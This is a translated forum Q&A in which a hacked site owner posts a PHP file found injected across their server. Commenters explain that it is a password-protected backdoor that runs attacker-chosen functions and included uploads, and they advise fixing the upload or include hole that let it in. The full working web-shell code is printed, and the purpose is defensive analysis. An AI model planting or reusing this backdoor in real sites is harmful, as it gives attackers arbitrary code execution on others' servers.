【发布时间】:2013-12-18 09:25:30
【问题描述】:
我被黑了,显然他们正在发送垃圾邮件。他们将两个文件注入我的服务器(在所有子目录中重复)。一个是高度散列的 PHP 文件,它可能是发件人。下面的代码来自另一个文件。
这是我的问题——这是为了什么?我无法翻译它的目的。另外,我应该怎么做才能避免再次发生这种情况?
<?php
if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a')
die();
@extract($_POST);
if(!empty($a))
@$a($b);
if(!empty($_FILES['tmp_name']))
@include($_FILES['tmp_name']);
?>
【问题讨论】:
-
此代码允许某人将任何 php 文件上传到您的服务器并
includeing 执行。他们需要做的就是提供一个密码(他们显然知道) -
请注意,您需要做的不仅仅是删除此文件(以及其他被漏洞利用删除的文件)。您必须堵住允许上传这些内容的原始漏洞。最有可能的是,如果您的代码中有任何文件操作或上传,例如通过
$_FILES,您就有目录遍历漏洞或类似漏洞。 -
@表示它正在隐藏错误消息。 -
这是一个非常糟糕的主意。您应该使用数组来定义页面名称列表以及它们可以包含的文件,否则您可能会赋予用户任意包含任何文件的能力。您在网站上是否有任何允许文件上传的表格(无论是公开的还是您认为是私人的)?这可能就是黑客在您的服务器上获取文件的方式:一种不受保护的形式。一旦他们打开了文件,那么您奇怪的 CMS 代码就可以让他们直接从浏览器中调用它们!
-
@idealizm :关于您的评论,请参阅我的回答中的 edit。是的,您创建了自己的后门!